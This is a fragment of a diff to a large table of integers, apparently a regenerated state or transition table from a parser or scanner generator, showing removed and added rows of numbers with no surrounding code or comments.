0, 122, - 122, 123, 117, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 9, - - 0, 0, 0, 0, 0, 104, 0, 0, 0, 0, + 0, 106, 0, 0, 112, 0, 113, 111, 111, 0, + 529, 0, 538, 0, 529, 527, 537, 0, 525, 538, + + 0, 0, 545, 0, 528, 0, 291, 292, 0, 292, + 0, 0, 515, 0, 515, 0, 516, 515, 513, 0, + 0, 513, 0, 513, 512, 513, 553, 554, 555, 0, + 0, 0, 0, 0, 0, 140, 141, 147, 0, 0, + 147, 0, 147, 146, 150, 0, 0, 150, 0, 150, + 275, 0, 0, 0, 0, 0, 0, 0, 222, 0, + 0, 0, 0, 0, 0, 0, 0, 547, 548, 0, + 0, 0, 410, 0, 0, 398, 0, 0, 0, 435, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 438, 0, 0, 0, 0, + + 408, 121, 122, 123, 0, 0, 0, 0, 480, 0, + 481, 0, 482, 0, 0, 485, 486, 488, 0, 0, + 490, 0, 0, 0, 0, 0, 0, 481, 0, 0, + 0, 128, 0, 128, 0, 121, 122, 127, 0, 127, + 128, 0, 131, 0, 0, 121, 122, 130, 0, 0, + 130, 131, 0, 135, 0, 0, 121, 122, 134, 0, + 0, 134, 135, 549, 550, 459, 0, 459, 0, 454, + 0, 454, 0, 459, 0, 448, 0, 0, 448, 0, + 447, 0, 448, 448, 448, 448, 448, 0, 0, 0, + 0, 448, 448, 448, 0, 520, 0, 0, 121, 122, + + 519, 0, 0, 519, 520, 0, 522, 0, 0, 121, + 121, 122, 116, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 9, + 0, 0, 0, 0, 0, 103, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 107, 108, 514, 524, 520, - 523, 0, 527, 0, 0, 532, 0, 0, 515, 513, - 522, 0, 0, 287, 0, 0, 503, 0, 0, 0, - 501, 0, 0, 0, 0, 0, 0, 0, 145, 0, - 0, 0, 148, 0, 0, 269, 0, 0, 0, 0, - 0, 169, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 106, 107, 527, 537, + 533, 536, 0, 540, 0, 0, 545, 0, 0, 528, + 526, 535, 0, 0, 293, 0, 0, 515, 0, 0, + 0, 513, 0, 0, 512, 0, 0, 512, 513, 0, - 0, 0, 224, 535, 363, 0, 0, 400, 0, 0, - 388, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 393, 0, 0, 0, - 412, 0, 0, 422, 0, 0, 398, 123, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 476, 478, 0, + 0, 0, 0, 0, 147, 0, 0, 0, 150, 0, + 0, 275, 0, 0, 0, 0, 0, 171, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 128, 0, 123, 130, 0, 123, 133, 0, 123, 537, - 448, 0, 0, 0, 0, 448, 0, 0, 444, 449, - 445, 444, 449, 445, 437, 0, 437, 437, 437, 0, - 437, 0, 0, 0, 0, 437, 0, 436, 0, 437, - - 437, 432, 438, 433, 432, 438, 433, 0, 0, 437, - 437, 507, 0, 123, 509, 0, 123, 123, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 229, + 548, 374, 0, 0, 411, 0, 0, 399, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 404, 0, 0, 0, 423, 0, 0, + 433, 0, 0, 409, 122, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 487, 489, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 128, 0, 122, + + 127, 0, 0, 128, 127, 131, 0, 122, 130, 0, + 130, 131, 0, 130, 135, 0, 122, 134, 0, 134, + 135, 0, 134, 550, 459, 0, 0, 0, 0, 459, + 0, 0, 455, 460, 456, 455, 460, 456, 448, 0, + 448, 448, 448, 0, 448, 0, 0, 0, 0, 448, + 0, 447, 0, 448, 448, 443, 449, 444, 443, 449, + 444, 0, 0, 448, 448, 520, 0, 122, 519, 0, + 519, 520, 0, 519, 522, 0, 122, 122, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 7, - 0, 0, 0, 8, 0, 0, 0, 49, 0, 0, - 0, 13, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 8, 0, 0, 0, 47, 0, 0, + + 0, 0, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 63, 0, - 0, 108, 520, 523, 519, 527, 0, 530, 0, 0, - 526, 0, 0, 513, 522, 518, 521, 287, 0, 288, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 61, + 0, 0, 107, 533, 536, 532, 540, 0, 543, 0, + 0, 539, 0, 0, 526, 535, 531, 534, 293, 0, + 294, 515, 0, 513, 0, 512, 0, 512, 513, 0, + 512, 0, 0, 0, 0, 147, 0, 150, 0, 275, + 275, 218, 0, 0, 220, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 503, 0, 501, 0, 0, 0, 0, 0, 145, 0, - 148, 0, 269, 269, 214, 0, 0, 216, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 375, 0, 0, 0, 390, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 364, 0, 0, 0, 379, 0, 0, 0, 0, + 0, 405, 0, 0, 0, 0, 0, 0, 439, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 394, 0, 0, 0, 0, 0, 0, 428, + 0, 0, 506, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 127, 0, 127, + 0, 128, 127, 0, 0, 0, 130, 0, 0, 131, + 130, 0, 0, 0, 134, 0, 0, 135, 134, 457, + + 457, 457, 0, 0, 445, 445, 0, 0, 0, 448, + 448, 0, 445, 0, 448, 0, 0, 0, 0, 0, + 519, 0, 0, 520, 519, 0, 0, 0, 26, 0, + 0, 2, 0, 4, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 12, 0, + 14, 0, 0, 16, 0, 0, 51, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 495, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 73, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 532, 543, 0, 544, 539, 0, 541, 0, + 531, 534, 530, 294, 0, 0, 0, 0, 0, 512, + 0, 0, 513, 512, 0, 0, 0, 0, 0, 0, + 0, 275, 275, 0, 0, 0, 172, 0, 0, 0, + 226, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 446, 446, 446, 0, 0, 434, 434, 0, 0, - 0, 437, 437, 0, 434, 0, 437, 0, 0, 0, - 0, 0, 0, 0, 26, 0, 0, 2, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 12, 14, 0, 0, 16, 0, 0, - 53, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 228, 0, 0, + 0, 0, 0, 0, 391, 0, 0, 426, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 75, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 519, 530, 0, 531, - - 526, 0, 528, 0, 518, 521, 517, 288, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 269, - 269, 0, 0, 0, 170, 0, 0, 221, 0, 0, + 0, 0, 0, 0, 430, 0, 0, 0, 0, 0, + + 0, 0, 0, 0, 372, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 492, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 127, 0, + 0, 127, 128, 0, 130, 0, 130, 0, 131, 0, + 134, 0, 134, 0, 135, 0, 461, 458, 461, 458, + 450, 446, 450, 446, 0, 445, 0, 0, 0, 448, + 0, 519, 0, 519, 0, 520, 0, 0, 0, 1, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 42, + 42, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + + 0, 60, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 82, 0, 0, 0, 0, + 72, 0, 90, 0, 0, 0, 0, 0, 0, 0, + 0, 544, 541, 0, 542, 530, 512, 0, 512, 0, + 513, 0, 0, 0, 0, 275, 275, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 223, 0, 0, 0, 0, 0, 0, - 380, 0, 0, 415, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 419, 0, 0, 0, 0, 0, 0, 0, 0, 0, - - 361, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 481, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 450, 447, 450, 447, 439, 435, - 439, 435, 0, 434, 0, 0, 0, 437, 0, 0, - 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, - 41, 41, 0, 8, 0, 0, 0, 0, 0, 0, + 266, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 62, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 84, 0, 0, 0, 0, - 74, 0, 92, 0, 0, 0, 0, 0, 0, 0, - 0, 531, 528, 0, 529, 517, 0, 0, 0, 269, - 269, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 434, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 429, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 260, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 476, 0, 0, + 0, 0, 0, 0, 128, 0, 0, 131, 0, 0, + 135, 0, 0, 0, 0, 0, 520, 0, 0, 0, + 0, 3, 0, 0, 0, 0, 0, 0, 0, 42, + 0, 42, 42, 0, 0, 0, 0, 0, 0, 0, + 0, 48, 0, 0, 15, 0, 0, 50, 0, 52, + + 22, 53, 54, 56, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 423, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, + 0, 0, 63, 542, 0, 0, 513, 0, 0, 275, + 275, 0, 0, 0, 221, 224, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 418, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - - 0, 0, 0, 0, 0, 0, 0, 0, 0, 465, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 3, 0, 0, 0, 0, 0, 0, 41, 0, - 41, 41, 0, 0, 0, 0, 0, 0, 0, 50, - 0, 0, 15, 0, 0, 52, 0, 54, 22, 55, - 56, 58, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, - 65, 529, 0, 0, 269, 269, 0, 0, 0, 219, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 376, 0, 0, 0, + 413, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 428, 0, 0, 0, 0, 437, 0, 0, 416, + 0, 0, 419, 420, 421, 0, 0, 0, 0, 373, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 484, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 365, - 0, 0, 0, 402, 0, 0, 0, 0, 0, 0, + 0, 27, 0, 0, 0, 0, 0, 0, 0, 41, + 42, 41, 0, 42, 0, 0, 100, 0, 0, 0, + 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, + + 55, 0, 0, 23, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 95, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 62, 0, 0, 275, + 275, 0, 0, 0, 556, 0, 556, 0, 0, 268, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 417, 0, 0, 0, 0, 426, - 0, 0, 405, 0, 0, 408, 409, 410, 0, 0, - 0, 0, 362, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 473, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 27, 0, 0, 0, 0, 0, 0, 40, 41, 40, - 0, 41, 0, 0, 102, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 57, 0, 0, - 23, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 97, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 64, 0, 269, 269, 0, 0, 0, - 0, 543, 0, 0, 262, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 377, 0, + 0, 378, 303, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 338, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 436, 0, 0, 0, 0, 369, 0, 0, 418, + 424, 422, 370, 0, 0, 0, 478, 0, 0, 479, + 0, 0, 0, 0, 483, 0, 491, 493, 0, 0, + 501, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 366, 0, 0, 367, 297, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 327, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 425, 0, 0, 0, 0, - 358, 0, 0, 407, 413, 411, 359, 0, 0, 0, - 467, 0, 0, 468, 0, 0, 0, 0, 472, 0, - 480, 482, 0, 0, 490, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 41, 0, 41, 0, 0, 0, 0, 0, 0, 48, + 0, 0, 0, 0, 0, 0, 49, 0, 0, 0, + 0, 0, 0, 0, 0, 71, 0, 0, 0, 0, - 0, 0, 0, 40, 0, 40, 0, 0, 0, 0, - 0, 0, 50, 0, 0, 0, 0, 0, 0, 51, - 0, 0, 0, 0, 0, 0, 0, 0, 73, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 275, + 275, 273, 0, 273, 224, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 269, 269, 267, 0, 267, 219, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 250, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 244, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 299, 379, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 293, 368, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 417, 0, 0, 0, 0, 0, + 0, 496, 0, 505, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 502, 503, 0, 0, 0, 0, 0, + 0, 25, 0, 25, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 43, 44, 46, 0, 46, + 10, 11, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 58, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + + 0, 88, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 91, 0, 0, 0, 0, 0, + 275, 0, 273, 273, 273, 273, 273, 0, 557, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 406, 0, 0, 0, - 0, 0, 0, 485, 0, 494, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 491, 492, 0, 0, 0, - 0, 0, 0, 25, 0, 25, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 46, 48, 0, - - 48, 10, 11, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 60, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 90, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 93, 0, 0, 0, 0, - 0, 269, 0, 267, 267, 267, 267, 267, 0, 544, + 0, 0, 0, 0, 0, 0, 197, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 241, 0, 241, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 300, 0, 0, 382, + 380, 0, 0, 0, 0, 0, 309, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 193, 0, 0, + 0, 0, 0, 0, 340, 341, 342, 415, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 358, 0, + 0, 0, 0, 0, 366, 367, 368, 431, 0, 0, + 494, 0, 0, 467, 464, 0, 0, 487, 0, 0, + 0, 0, 0, 0, 0, 504, 0, 0, 473, 0, + 470, 0, 0, 0, 0, 25, 0, 0, 0, 26, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 46, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 17, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 235, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 294, 0, 0, 371, 369, - 0, 0, 0, 0, 0, 303, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 329, 330, 331, 404, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 347, 0, 0, - 0, 0, 0, 355, 356, 357, 420, 0, 0, 483, - 0, 0, 456, 453, 0, 0, 476, 0, 0, 0, - 0, 0, 0, 0, 493, 0, 0, 462, 0, 459, - 0, 0, 0, 0, 25, 0, 0, 0, 26, 0, - - 0, 0, 0, 0, 0, 0, 0, 0, 44, 44, - 0, 0, 48, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 17, 0, 0, 0, 0, 0, + 0, 0, 0, 59, 0, 0, 0, 89, 0, 76, + 75, 0, 77, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 92, 78, 81, 79, 0, 275, + 275, 0, 0, 0, 0, 227, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 61, 0, 0, 0, 91, 0, - 78, 77, 0, 79, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 94, 80, 83, 81, 0, - 269, 269, 0, 0, 0, 0, 222, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 238, 0, 238, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 251, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 232, 0, + 0, 0, 0, 260, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 245, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 254, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 372, - 370, 0, 0, 300, 0, 0, 377, 0, 401, 0, + 383, 381, 0, 0, 306, 0, 0, 388, 0, 412, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 328, 0, 0, 0, 339, - 0, 0, 0, 343, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 455, 484, 0, 0, 0, - 487, 0, 0, 0, 0, 0, 461, 0, 0, 0, - - 0, 24, 0, 0, 24, 0, 0, 0, 0, 0, - 0, 0, 0, 6, 0, 44, 44, 0, 44, 0, - 44, 44, 0, 0, 47, 0, 0, 47, 0, 0, - 0, 0, 0, 0, 0, 0, 106, 0, 0, 0, - 59, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 339, 0, 0, + 0, 350, 0, 0, 0, 354, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 466, 495, 0, + 0, 0, 498, 0, 0, 0, 0, 0, 472, 0, + 0, 0, 0, 24, 0, 0, 24, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 6, 0, 0, 45, + 0, 0, 45, 0, 0, 0, 0, 0, 0, 0, + + 0, 105, 0, 0, 0, 57, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 268, 268, 268, 268, 268, - 215, 0, 0, 0, 0, 0, 167, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 242, - - 0, 0, 0, 0, 0, 0, 0, 175, 0, 0, - 0, 0, 0, 0, 243, 0, 0, 0, 192, 0, - 0, 0, 0, 191, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 236, 0, 0, 0, 0, 0, 154, - 154, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 378, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 333, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 348, 0, 0, 0, 0, 0, 0, 466, 0, - 0, 0, 488, 0, 0, 0, 0, 0, 0, 24, - - 25, 26, 0, 0, 0, 0, 0, 0, 103, 44, - 43, 44, 44, 43, 0, 0, 44, 43, 0, 0, - 44, 43, 44, 44, 45, 47, 48, 0, 0, 0, - 50, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 60, 0, + 274, 274, 274, 274, 274, 219, 0, 0, 0, 0, + 169, 0, 169, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 248, 0, 0, 0, + 0, 0, 0, 179, 0, 179, 0, 0, 0, 0, + 0, 0, 249, 0, 0, 0, 196, 0, 0, 0, + 0, 0, 195, 0, 0, 0, 0, 0, 0, 0, + + 0, 0, 242, 0, 0, 0, 0, 0, 156, 156, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 88, 0, 0, 0, 0, 0, 0, 220, - 0, 0, 162, 0, 164, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 240, 0, 0, 0, 0, 0, - 0, 0, 233, 0, 0, 0, 0, 0, 0, 250, - - 0, 0, 265, 265, 0, 0, 0, 0, 0, 0, + 0, 389, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 210, 0, 0, 0, 0, 0, 0, 0, - 0, 291, 0, 0, 395, 0, 0, 0, 0, 0, - 0, 304, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 323, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 344, 0, 0, 0, 0, 0, + 0, 344, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 359, 0, 0, 0, 0, 0, 0, 477, 0, + 0, 0, 499, 0, 0, 0, 0, 0, 0, 24, + 25, 26, 0, 0, 0, 0, 0, 0, 0, 101, + 45, 46, 0, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, - 0, 43, 0, 44, 44, 43, 0, 43, 0, 0, - - 43, 0, 0, 45, 43, 45, 45, 43, 0, 44, - 43, 44, 0, 0, 0, 0, 50, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 60, 0, - 60, 0, 60, 0, 0, 71, 70, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 87, 69, - 82, 0, 0, 0, 171, 0, 0, 0, 0, 0, - 0, 174, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 176, 0, 0, 0, 0, 0, 247, 246, 0, + + 0, 0, 0, 58, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 86, 0, 0, + 0, 0, 0, 0, 225, 0, 0, 164, 0, 166, + 166, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 246, 0, 246, 0, 0, 0, 0, 0, 0, 0, + 239, 0, 0, 0, 0, 0, 0, 256, 0, 0, + 271, 271, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 237, 0, 0, 0, 0, 0, 0, + 214, 0, 214, 0, 0, 0, 0, 0, 0, 0, + 0, 297, 0, 0, 406, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 153, 0, 0, 0, - 0, 292, 295, 0, 396, 0, 0, 0, 0, 0, + 0, 310, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 334, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 355, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 322, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 381, 0, 383, 0, 346, 0, 0, 0, 354, - 0, 0, 0, 0, 0, 489, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 35, 0, 0, 42, 44, - 42, 0, 44, 42, 0, 0, 42, 44, 0, 42, - 0, 42, 45, 45, 42, 45, 26, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - - 60, 0, 0, 0, 0, 0, 96, 96, 0, 67, - 0, 0, 0, 0, 98, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 241, 0, 0, 0, 0, 0, - 0, 0, 0, 261, 0, 178, 178, 0, 248, 0, + 0, 0, 0, 0, 0, 48, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 58, 0, 58, + 0, 58, 0, 0, 69, 68, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 85, 67, 80, + 0, 0, 0, 173, 0, 0, 0, 0, 0, 0, + + 0, 178, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 180, 0, 0, 0, 0, 0, 253, 252, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 243, 0, 243, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 155, 0, + 0, 0, 0, 298, 301, 0, 407, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 211, 0, 0, 0, 153, - 0, 0, 296, 0, 0, 0, 403, 0, 0, 302, + 0, 0, 0, 0, 333, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 392, 0, 394, 0, 357, 0, + 0, 0, 365, 0, 0, 0, 0, 0, 500, 0, + + 0, 0, 0, 0, 0, 0, 0, 0, 0, 36, + 0, 0, 26, 0, 18, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 58, 0, 0, 0, + 0, 0, 94, 94, 0, 65, 0, 0, 0, 0, + 96, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 247, 0, 0, 0, 0, 0, 0, 0, 0, + 267, 0, 182, 182, 254, 0, 254, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 337, 0, - - 382, 0, 340, 384, 0, 345, 0, 385, 0, 360, - 0, 472, 0, 0, 0, 0, 0, 0, 0, 28, - 0, 0, 0, 0, 0, 0, 42, 42, 0, 42, - 0, 44, 0, 42, 45, 43, 45, 45, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 60, 0, 0, - 0, 0, 0, 0, 68, 66, 100, 0, 0, 0, - 0, 0, 0, 168, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 229, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 256, 0, 0, 0, 238, 0, 0, 0, 234, + 0, 0, 0, 0, 215, 0, 0, 0, 155, 0, - 234, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 373, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 319, 0, 0, 0, 0, 0, - 0, 332, 336, 0, 0, 0, 0, 386, 0, 353, + 0, 302, 0, 0, 0, 414, 0, 0, 308, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 348, 0, + 393, 0, 351, 395, 0, 356, 0, 396, 